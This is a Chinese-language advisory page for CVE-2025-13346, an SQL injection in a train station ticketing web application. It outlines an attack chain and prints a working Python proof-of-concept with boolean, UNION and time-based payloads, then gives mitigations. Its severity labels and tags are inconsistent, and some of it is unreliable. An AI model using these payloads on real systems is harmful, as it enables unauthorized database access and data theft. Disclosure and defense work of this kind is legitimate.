IPBUF安全漏洞报告
English
CVE-2025-13346 CVSS 6.3 中危

CVE-2025-13346 | SourceCodester Train Station Ticketing System SQL注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13346
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Train Station Ticketing System 1.0

相关标签

SQL注入CVE-2025-13346SourceCodesterTrain Station Ticketing SystemWeb应用安全认证绕过远程代码执行数据泄露

漏洞概述

CVE-2025-13346是SourceCodester Train Station Ticketing System 1.0中的一个高危SQL注入漏洞。该系统是一款用于火车站票务管理的Web应用程序,在处理用户输入时未能正确过滤和转义特殊字符,导致攻击者可以通过构造恶意SQL语句实现对数据库的非授权访问和操作。漏洞位于/ajax.php文件的save_station功能模块中,攻击者可以通过id或station参数注入SQL代码。由于该系统通常部署在企业内部网络中,漏洞的成功利用可能导致敏感票务数据泄露、用户信息被盗取,甚至整个数据库被恶意篡改或销毁。考虑到该漏洞已公开且利用难度较低,建议相关用户立即采取防护措施。

技术细节

该SQL注入漏洞源于SourceCodester Train Station Ticketing System 1.0在/ajax.php文件中对save_station动作的处理逻辑存在缺陷。当应用程序接收到id或station参数时,直接将用户输入拼接到SQL查询语句中而未进行充分的输入验证和参数化查询处理。攻击者可以利用UNION SELECT、布尔盲注或时间延迟等技术提取数据库中的敏感信息,包括用户凭证、票务记录、支付信息等。漏洞的认证要求为低权限,意味着即使是没有管理员权限的普通用户也可能利用此漏洞提升权限或获取更多敏感数据。由于攻击向量为网络可访问,远程攻击者可以直接通过HTTP请求触发漏洞,无需任何本地访问权限。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标系统为SourceCodester Train Station Ticketing System 1.0,确认/ajax.php端点存在
STEP 2
步骤2
漏洞探测:通过发送带有SQL特殊字符(如单引号、双破折号)的请求测试id/station参数是否存在SQL注入
STEP 3
步骤3
Payload构造:根据数据库类型构造相应的SQL注入payload,如UNION SELECT、布尔盲注或时间延迟注入
STEP 4
步骤4
数据提取:利用注入漏洞提取数据库中的敏感信息,包括用户表、票务数据、配置信息等
STEP 5
步骤5
权限提升或持久化:基于获取的信息进行横向移动或长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13346 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=save_station def exploit_sqli(target_url, payload): """ SQL Injection exploitation function payload: malicious SQL injection payload """ params = { 'action': 'save_station', 'id': payload, 'station': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Boolean-based blind SQL injection payload example boolean_payload = "1' AND 1=1 -- -" # Union-based SQL injection payload example union_payload = "1' UNION SELECT NULL,version(),database(),user() -- -" # Time-based blind SQL injection payload example time_payload = "1' AND IF(1=1,SLEEP(5),0) -- -" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13346.py <target_url>") print("Example: python cve-2025-13346.py http://localhost/ajax.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing SQL injection on {target}") print(f"[*] Boolean payload: {boolean_payload}") result = exploit_sqli(target, boolean_payload) print(f"[+] Response: {result[:200]}")

影响范围

SourceCodester Train Station Ticketing System 1.0

防御指南

临时缓解措施
立即禁用受影响的save_station功能或限制其访问权限;在应用程序层添加输入验证和过滤机制;配置Web应用防火墙规则拦截SQL注入特征请求;临时禁止外部网络访问该系统直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表